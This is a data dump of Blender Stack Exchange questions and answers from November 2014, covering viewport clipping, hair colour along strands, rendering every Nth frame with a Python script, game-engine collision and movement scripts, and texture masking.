  <row Id="18965" PostTypeId="1" AcceptedAnswerId="18966" CreationDate="2014-11-17T17:00:38.327" Score="0" ViewCount="164" Body="&lt;p&gt;What I want to do is to only display an object, or a part of an object in a specific view, and then to be able to move around the 3D workspace, with everything else hidden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to display only a what a camera can see, no matter the position or perspective in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-17T17:05:39.880" Title="Is there a way to display only a certain view in the viewport?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18966" PostTypeId="2" ParentId="18965" CreationDate="2014-11-17T17:00:38.327" Score="1" Body="&lt;p&gt;SOLVED: Go to the desired position in the 3D viewport, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;, and box select around the desired area. This will make everything outside of that ray hidden:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qr0b8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; again to return to the normal 3D viewport display&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This can not be animated, and does not render.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="241" LastEditDate="2014-11-17T17:05:39.880" LastActivityDate="2014-11-17T17:05:39.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18967" PostTypeId="1" AcceptedAnswerId="18973" CreationDate="2014-11-17T17:06:22.490" Score="2" ViewCount="124" Body="&lt;p&gt;This is a useful 2.6 add-on in order to insert an edge. Unfortunately, it does not work in Blender 2.72. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do it in a simple way ? &lt;img src=&quot;https://i.stack.imgur.com/Iulte.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7783" LastActivityDate="2014-11-17T18:58:17.657" Title="Insert edgerings along selected edge loops" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18968" PostTypeId="2" ParentId="10697" CreationDate="2014-11-17T17:23:16.457" Score="2" Body="&lt;p&gt;If you scale an object by negative 1, it will reverse it on all axes.  Then you can just rotate it by 180 degrees on a single axis, and you will have essentially created an exact mirror image of an object without the hassle of a mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="8050" LastActivityDate="2014-11-17T17:23:16.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18969" PostTypeId="1" AcceptedAnswerId="18975" CreationDate="2014-11-17T17:34:53.440" Score="2" ViewCount="2892" Body="&lt;p&gt;I know how to skip frames in blender, but it seems the filename follows the skipped frames.  So if I want to render very 10 frames starting at 0 and finishing at 50.  I would like to see this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;image0.png&#xA;iamge1.png&#xA;image2.png&#xA;image3.png&#xA;image4.png&#xA;image5.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this is what I get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;image0.png&#xA;iamge10.png&#xA;image20.png&#xA;image30.png&#xA;image40.png&#xA;image50.png&lt;/p&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2014-11-18T04:04:10.170" Title="How to render frames skipping every X , but leaving the filename increment by one" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18970" PostTypeId="1" AcceptedAnswerId="18971" CreationDate="2014-11-17T18:10:14.700" Score="25" ViewCount="14608" Body="&lt;p&gt;At some point (not right away), I'll be wanting to make a character model which has multicolor hair.  Namely, it will be one color closer to the roots, and another color closer to the tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this in blender?  I would be using Cycles for this.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2020-12-01T10:48:08.760" Title="How to change hair color along length of strand?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;particles&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18971" PostTypeId="2" ParentId="18970" CreationDate="2014-11-17T18:25:12.910" Score="43" Body="&lt;p&gt;You can accomplish this in multiple ways, the easiest way is to use a &lt;em&gt;Hair Info&lt;/em&gt; node, and use the &lt;em&gt;Intercept&lt;/em&gt; value to drive a &lt;em&gt;Converter &gt; Color Ramp&lt;/em&gt; node. Use this to drive the &lt;em&gt;Factor&lt;/em&gt; on your mix or add shader node. Here is a quick example node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hlHII.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is how it renders:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2O98e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the lower input into the &lt;em&gt;Mix Shader&lt;/em&gt; is on the base of the hair, and the upper input is on the top of the hair. This will work on a &lt;em&gt;Color &gt; Mix RGB&lt;/em&gt; node as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It is also possible to add another set of colors on top of the first two, giving even more controlability:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M1BQq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it renders:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KBz4s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More realistic colorings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f0Gj7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2014-11-17T18:50:35.097" LastActivityDate="2014-11-17T18:50:35.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18972" PostTypeId="1" AcceptedAnswerId="19133" CreationDate="2014-11-17T18:30:45.793" Score="1" ViewCount="618" Body="&lt;p&gt;I'm using vertex colors to control texture splatting on my model. Each color channel controls the blending weight of a texture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pixel = (texture1 * vertex.r) + (texture2 * vertex.g) + (texture3 * vertex.b);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To achieve consistent results, I want the sum of all color channels to be 1.0 in all cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I would sum up multiple textures resulting in brightness &gt; 1. Here's an example of what would happen if colors aren't normalized (that lower left corner has been painted with all three color channels set to 1, so its brightness is r+g+b=3):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jidb8.png&quot; alt=&quot;non-normalized weights&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xfYcs.png&quot; alt=&quot;node-based splat material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to &quot;normalize&quot; a color (just like I would normalize vertex group weights) in Blender?&lt;/p&gt;&#xA;" OwnerUserId="1461" LastEditorUserId="1461" LastEditDate="2014-11-22T18:11:50.147" LastActivityDate="2014-11-23T00:19:47.780" Title="Can Vertex Paint Normalize Color Channels?" Tags="&lt;texturing&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18973" PostTypeId="2" ParentId="18967" CreationDate="2014-11-17T18:58:17.657" Score="0" Body="&lt;p&gt;You can try this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/INNcT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: When using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;, &quot;Dissolve Verts&quot; needn't being toggled every time. It will remember your last choice.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-17T18:58:17.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18975" PostTypeId="2" ParentId="18969" CreationDate="2014-11-17T20:45:21.537" Score="1" Body="&lt;p&gt;Based on the comment from @maddin45 I wrote this simple python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def render_range(start, stop, step):&#xA;    # First make sure that are values are all ints and not floats.&#xA;    start = int(start)&#xA;    stop = int(stop)&#xA;    step = int(step)&#xA;&#xA;    filepath = bpy.context.scene.render.filepath&#xA;&#xA;    for frame in range(start, stop, step):&#xA;        bpy.context.scene.frame_current = frame&#xA;&#xA;        bpy.context.scene.render.filepath = filepath + '%04d' % (frame / step)&#xA;&#xA;        bpy.ops.render.render( write_still=True )&#xA;&#xA;    bpy.context.scene.render.filepath = filepath&#xA;&#xA;if __name__ = '__main__':&#xA;    render_range(0, 60, 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically this will loop through every 10'th frame starting at 0 and ending at 60(note that it does not include 60, but rather ends just before it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it render another range(such as every 5'th frame starting at 10 and ending at 100) then change the last line from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    render_range(0, 60, 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    render_range(10, 105, 5) # Note that we add our step amount to our desired stopping point so that it will end at 100 instead of 95.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2387" LastActivityDate="2014-11-17T20:45:21.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18976" PostTypeId="1" AcceptedAnswerId="18978" CreationDate="2014-11-17T21:18:49.973" Score="6" ViewCount="2263" Body="&lt;p&gt;The color an object appears can be set using a &lt;em&gt;Black Body&lt;/em&gt; node, which accurately simulates the color an object should have. This is however relative to the color balance/white balance used. An object will appear blue if it's &quot;temperature&quot; is 6000K if the image is balanced at 4500K (and 4500K appears white); If, however, it's balanced at 8000K, the same object will appear yellow/red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7rQp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adjust the color balance temperature?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-17T22:39:14.017" Title="How to adjust Cycles color balance" Tags="&lt;cycles-render-engine&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18977" PostTypeId="2" ParentId="18949" CreationDate="2014-11-17T22:21:12.197" Score="2" Body="&lt;p&gt;Along with the answer from ball2000 , I integrated python code to delay the scene switch. The code looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if player.sensors[&quot;water_collision&quot;].positive:&#xA;        curtime = time.time()&#xA;        while(time.time() - curtime &amp;lt; 20):&#xA;            print(time.time() - curtime)&#xA;        player[&quot;dead_status&quot;] = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2014-11-17T22:21:12.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18978" PostTypeId="2" ParentId="18976" CreationDate="2014-11-17T22:39:14.017" Score="3" Body="&lt;p&gt;I'm not sure this means the same as color temperature: in the &lt;em&gt;Scenes's properties&lt;/em&gt; is a checkbox &lt;em&gt;Use Curves&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Color_Management&quot; rel=&quot;nofollow noreferrer&quot;&gt;release notes&lt;/a&gt; only mention&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RGB Curves Curves to control image colors before color space&#xA;  conversion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yWDZ7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Sobotka/Color_Management&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/User:Sobotka/Color_Management&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-17T22:39:14.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18979" PostTypeId="1" AcceptedAnswerId="19194" CreationDate="2014-11-17T22:41:22.187" Score="0" ViewCount="1195" Body="&lt;p&gt;I am playing around in the game engine and I am moving this cube around with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from mathutils import Matrix, Euler&#xA;from math import radians&#xA;obj = bge.logic.getCurrentScene().objects[&quot;cube&quot;]&#xA;property = bge.logic.getCurrentScene().objects[&quot;Empty&quot;].get(&quot;movement&quot;)&#xA;move = 0.0&#xA;if property == 1: move = [1, 0.1]&#xA;elif property == 2: move = [1, -0.1]&#xA;elif property == 3: move = (obj.worldOrientation).to_euler(); move.rotate_axis(&quot;Z&quot;, radians(2.0))&#xA;elif property == 4: move = (obj.worldOrientation).to_euler(); move.rotate_axis(&quot;Z&quot;, radians(-2.0))&#xA;if move != 0.0 and property in (1, 2):&#xA;    obj.localPosition[move[0]] += move[1]&#xA;elif move != 0.0:&#xA;    print(move)&#xA;    obj.worldOrientation = move&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the property is just a &lt;code&gt;int&lt;/code&gt; representing which way to go or rotate. The movement is applied to the &lt;code&gt;localPosition&lt;/code&gt; so I would think that this would respect the rotation, but it doesn't and this is the result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mOccH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I get it to always move in the local +- Y direction? &lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-11-25T00:27:09.603" Title="BGE local position not respecting rotation" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18980" PostTypeId="2" ParentId="18862" CreationDate="2014-11-17T23:03:33.903" Score="7" Body="&lt;p&gt;I found a partial answer. If you want to keep the tile size same while texture painting, you should paint textures only inside of the UV editor.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unwrap your mesh.&lt;/li&gt;&#xA;&lt;li&gt;Change your view to the &quot;UV/Image editor&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;View&quot; and change it to the &quot;Paint&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Then go back to the &quot;3D View&quot; and select the &quot;Texture Paint&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Go back to the &quot;UV/Image editor&quot; and now you could paint textures directly to the texture atlas.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You could control the tile size by adjusting the Brush Radius.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRkJv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SLYHo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2014-11-17T23:03:33.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18983" PostTypeId="2" ParentId="18964" CreationDate="2014-11-17T23:55:31.540" Score="6" Body="&lt;p&gt;No, Blender doesn't have this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible to write an addon to do this, on-save it could save the render result to a Multi-Layer-EXR image, and on load it could check for that image, loading it if its available. (probably not all that hard to get basic functionality, but you will loose render slots).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;An alternative which is admittedly little clumsy, you could use a file-output node in the compositor and save this in your user-defaults,&#xA;so your renders are automatically saved. In the user default you could have an image view pointing to this file, so on-load it would read the last rendered image.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-11-18T00:06:24.233" LastActivityDate="2014-11-18T00:06:24.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18984" PostTypeId="1" CreationDate="2014-11-17T23:58:21.170" Score="0" ViewCount="828" Body="&lt;p&gt;In my scene, I have an image plane with a picture of some kitchen tiles. I also have a cube which has been UV unwrapped and has the same texture as the image plane, but positioned so that the front face of the cube fits to one of the tiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have the front face which has also been separated by selection so that I can open it like a lid and 'see' inside the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the image plane cuts into the cube. How do I mask the area where I want to see through to the cube behind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjZrH.png&quot; alt=&quot;image plane&quot;&gt;&#xA;Image plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BatWO.gif&quot; alt=&quot;scene&quot;&gt;&#xA;Scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also look at my &lt;a href=&quot;http://www.pasteall.org/blend/32925&quot; rel=&quot;nofollow noreferrer&quot;&gt;BLEND FILE&lt;/a&gt; if you can help.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-11-18T00:23:34.437" Title="How to mask off part of image plane" Tags="&lt;masking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18986" PostTypeId="2" ParentId="18984" CreationDate="2014-11-18T00:23:34.437" Score="1" Body="&lt;h1&gt;Materials only solution&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cube&lt;/li&gt;&#xA;&lt;li&gt;name it &lt;em&gt;cookie cutter&lt;/em&gt;  (Optional)&lt;/li&gt;&#xA;&lt;li&gt;Give it this material:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Te71w.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply this material:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eAR6T.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;to the &lt;em&gt;background plane&lt;/em&gt;, and position &lt;em&gt;cookie cutter&lt;/em&gt; to make the hole.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When the camera looks through the cookie cutter at the plane, the plane will be transparent, so make the cookie cutter narrow. It may also be affected by other objects, so be careful.&lt;/p&gt;&#xA;&lt;h1&gt;Texture + Material Solution&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Apply this material to the &lt;em&gt;background plane&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KXYUt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the top image node, give it a black and white image, where it is white, there will be a hole.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is very robust, but can be a huge pain if you start moving your objects.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-18T00:23:34.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18987" PostTypeId="1" AcceptedAnswerId="19025" CreationDate="2014-11-18T00:36:16.860" Score="4" ViewCount="769" Body="&lt;p&gt;I have this script with the module &lt;code&gt;collision&lt;/code&gt; which is called when the player collides with any of two cylinders in the scene, the module increments the counter in a text object that in a separate scene that overlays the main scene&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;dynamicText = scene.objects['Text']&#xA;&#xA;def collision():&#xA;    dynamicText.text = str(int(dynamicText.text)+1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This the logic behind the cylinders that triggers the collision and send the message to the text object to increment the counter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yU8LM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the login in the the text object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQugl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the counter is incremented twice per collision, and I don’t see an obvious way to filter the second time the module is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;a href=&quot;https://anonfiles.com/file/90b0de300887b8668ef5e0d145db01c6&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2014-11-18T00:51:41.570" LastActivityDate="2014-11-18T22:20:07.567" Title="Blender collision sensor is triggered twice" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18988" PostTypeId="1" CreationDate="2014-11-18T00:42:04.653" Score="1" ViewCount="216" Body="&lt;p&gt;I've got some grass I am using for my game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIaP8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is very vertex intensive. It looks great close up, but here is a screenshot of the bush far away (rendered in-game):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/c81b237240cf92679bbb7d727a505feb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I can barely see any of that detail in the first blender image! All these vertices are going to waste on extra processing and add nothing to the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious option is to decimate it:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eWHoH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that makes the grass THINNER when I decimate it (Loading the model into the game, I cannot even see it due to how thin the &quot;blades of grass&quot; are). I would prefer something that merges the bits of grass together to make it more into one big clump with less vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would basically like to decimate the object but allow it to keep it's current shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.763" LastActivityDate="2014-11-18T00:42:04.653" Title="How can I decimate a model to make it fatter?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18989" PostTypeId="1" CreationDate="2014-11-18T00:43:04.387" Score="2" ViewCount="93" Body="&lt;p&gt;I'm doing a project and I mainly work with one window. (Correct me if I'm not using these terms correctly.) When I open a new window, half the objects disappear, but they're still in the library and the eye thing is selected to tell me it's visible, so the objects are still there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rendering out the image and it has the same effect, half of the objects are not there. All the objects are still visible in the original window I was making them in, and I can edit and do whatever I wish with it as if it were normal. I'm using cycles render and that's basically all I know.&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorDisplayName="user12855" LastEditDate="2015-06-02T04:36:01.967" LastActivityDate="2015-06-02T04:36:01.967" Title="Objects not visible in other frames/window but all the objects are in the library" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18990" PostTypeId="1" CreationDate="2014-11-18T00:59:33.070" Score="0" ViewCount="89" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3hu6.png&quot; alt=&quot;Stadium&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open new windows or render out images, it looks like whats on the right. The window on the left is the original window I've been working on to make this thing. This project is due in 2 days and I need this figured out as fast as I can.&lt;/p&gt;&#xA;" OwnerUserId="8058" LastEditorUserId="2217" LastEditDate="2014-11-18T01:12:43.850" LastActivityDate="2014-11-18T01:12:43.850" Title="Why are most my objects not visible in new windows and when its rendered out?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18991" PostTypeId="1" CreationDate="2014-11-18T01:04:33.547" Score="5" ViewCount="2922" Body="&lt;p&gt;I am making an animation and when I render the animation, it turns out black and white.&#xA;I have no idea why this is happening.&lt;/p&gt;&#xA;" OwnerUserId="8059" LastEditorUserId="2217" LastEditDate="2014-11-18T01:15:12.893" LastActivityDate="2016-08-20T22:42:12.803" Title="Why are my videos rendering in black and white?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18992" PostTypeId="1" AcceptedAnswerId="19003" CreationDate="2014-11-18T01:11:35.710" Score="7" ViewCount="457" Body="&lt;p&gt;I have two panels:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d65uL.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Between them is a uneven gap, in some places it is very narrow, in other places it is wide. How can I make it so that the gap is consistent width?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/21/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=21&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for testing on.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-03-20T02:00:15.473" Title="Make gap even thickness?" Tags="&lt;modeling&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18993" PostTypeId="2" ParentId="18991" CreationDate="2014-11-18T01:19:59.807" Score="8" Body="&lt;p&gt;Sounds like the output might be set to BW in &lt;em&gt;Render settings &gt; Output&lt;/em&gt;. Make sure it is set to RGB instead (or RGBA if you need the alpha channel):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRa0f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-18T01:19:59.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18994" PostTypeId="1" CreationDate="2014-11-18T01:35:39.527" Score="0" ViewCount="633" Body="&lt;p&gt;I would like to create an animation in which something blows up, starting at a normal speed, slows down to a stop, and then reforms. I know I can manually spread out the keyframes in the dope sheet editor (by spreading the keyframes farther and farther apart and then pasting a copy in reverse), but &lt;strong&gt;is there a way to do this automatically?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of distances between keyframes: 1,1,1,1,2,4,8,16,32 || 32,16,8,4,2,1,1,1,1&#xA;Where || is where the new keyframes end and I paste a copy in reverse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it manually works when the speed change happens over a few frames, but if I want the process to extend over 60-120 frames, the process becomes both harder to correctly guess the distance, and it takes substantially more time. Is there something such as a way to edit keyframe distance in the NLA editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated. Please comment if anything is unclear.&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="783" LastEditDate="2014-11-18T02:13:56.523" LastActivityDate="2017-08-11T11:29:40.323" Title="How to spread out keyframes parabolically" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
